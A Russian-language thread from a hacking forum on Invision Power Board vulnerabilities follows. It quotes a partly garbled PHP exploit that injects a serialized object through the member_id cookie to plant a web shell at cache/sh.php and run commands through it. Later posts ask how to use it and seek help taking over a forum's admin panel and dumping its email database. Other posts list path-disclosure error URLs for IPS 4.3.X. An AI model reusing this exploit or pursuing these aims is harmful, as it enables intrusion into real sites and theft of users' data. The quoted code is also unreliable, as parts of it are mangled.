ANTICHAT - [Обзор уязвимостей IPB]

ANTICHAT (https://forum.antichat.xyz/index.php)

- Уязвимости CMS / форумов (https://forum.antichat.xyz/forumdisplay.php?f=16)

- - [Обзор уязвимостей IPB] (https://forum.antichat.xyz/showthread.php?t=89112)

На IP.Board 2.3.6 есть что нить ?

Цитата:

Сообщение от -=lebed=-

↑
[B]Invision Power Board \n";
print"\nExample....: php$argv[0]localhost /";
print"\nExample....: php$argv[0]localhost /ipb/\n";
die();
}

list($host,$path) = array($argv[1],$argv[2]);

$packet="GET{$path}index.php HTTP/1.0\r\n";
$packet.="Host:{$host}\r\n";
$packet.="Connection: close\r\n\r\n";

$_prefix=preg_match('/Cookie: (.+)session/',http_send($host,$packet),$m) ?$m[1] :'';

classdb_driver_mysql
{
public$obj= array('use_debug_log'=>1,'debug_log'=>'cache/sh.php');
}
# Super bypass by @i0n1c
$payload=urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2 :{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"c ache/sh.php";}}}');
$phpcode='';

$packet="GET{$path}index.php?{$phpcode}HTTP/1.0\r\n";
$packet.="Host:{$host}\r\n";
$packet.="Cookie:{$_prefix}member_id={$payload}\r\n";
$packet.="Connection: close\r\n\r\n";

http_send($host,$packet);

$packet="GET{$path}cache/sh.php HTTP/1.0\r\n";
$packet.="Host:{$host}\r\n";
$packet.="Cmd: %s\r\n";
$packet.="Connection: close\r\n\r\n";

if (preg_match('/
[/COLOR]
[/PHP]
(c) exploit-db.com

Подскажите как юзать его?

Имеется форум с доступ к АЦ, только вот версия IPS 4.2, есть какие то идеи?

IPB форум (v 3.3.4) скачать БД емыйлов и доступ к АЦ, кто поможет (пишите в личку)

ipbv=32005 есть что?

4.3.X

/forum/system/3rd_party/php-punycode/Exception/DomainOutOfBoundsException.php

выдает

следующее

Fatal error: Class 'TrueBV\Exception\OutOfBoundsException' not found in /home/xyz/web/domen.ru/public_html/forum/system/3rd_party/php-punycode/Exception/DomainOutOfBoundsException.php on line 10

4.3.X

domen.ru/forum/admin/convertutf8/modules/browser/archive.php

Fatal error: Class 'IPSUtf8\Dispatcher\Controller' not found in /home/xyz/web/domen.ru/public_html/forum/admin/convertutf8/modules/browser/archive.php on line 17